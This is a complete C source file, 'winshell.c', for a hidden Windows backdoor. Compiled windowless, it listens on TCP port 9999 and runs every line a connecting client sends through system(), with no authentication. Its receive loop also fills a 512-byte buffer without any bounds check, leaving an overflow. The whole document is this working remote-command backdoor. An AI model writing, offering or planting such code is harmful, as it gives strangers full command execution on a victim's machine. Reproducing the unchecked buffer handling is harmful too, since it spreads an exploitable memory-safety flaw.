/* 
 * With Cygnus Win32 (GNU Win32) compile with:
 * gcc -mwindows -mno-cygwin -o winshell winshell.c -lwsock32
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>

#define BUFSIZE 512

int main()
{
   int retval;
   int socklen;

   char *pktptr, pktbuf[BUFSIZE];

   WSADATA wsaData;
   SOCKET serverfd, clientfd;
   SOCKADDR_IN serversin, clientsin;

   WSAStartup(MAKEWORD(1, 1), &wsaData);

   /* ------------------------------- */

   serverfd = socket(AF_INET, SOCK_STREAM, 0);

   memset(&serversin, 0, sizeof(serversin));
   serversin.sin_family = AF_INET;
   serversin.sin_port = htons(9999);

   (void)bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin));
   (void)listen(serverfd, 0);

   while(1)
   {
      socklen = sizeof(clientsin);
      clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen);

      pktptr = pktbuf;
      memset(pktbuf, 0, sizeof(pktbuf));

      /* we do this one byte at a time because it's the easiest way */
      while(1)
      {
         retval = recv(clientfd, pktptr, 1, 0);
         if (retval == SOCKET_ERROR) break;

         if (isprint(*pktptr))
         {
            pktptr += 1;
            continue;
         } 

         else *pktptr = '\0';

         system(pktbuf);
         memset(pktbuf, 0, sizeof(pktbuf)), pktptr = pktbuf;
      }


      closesocket(clientfd);
   }

   /* will never get here */
   return 0;
}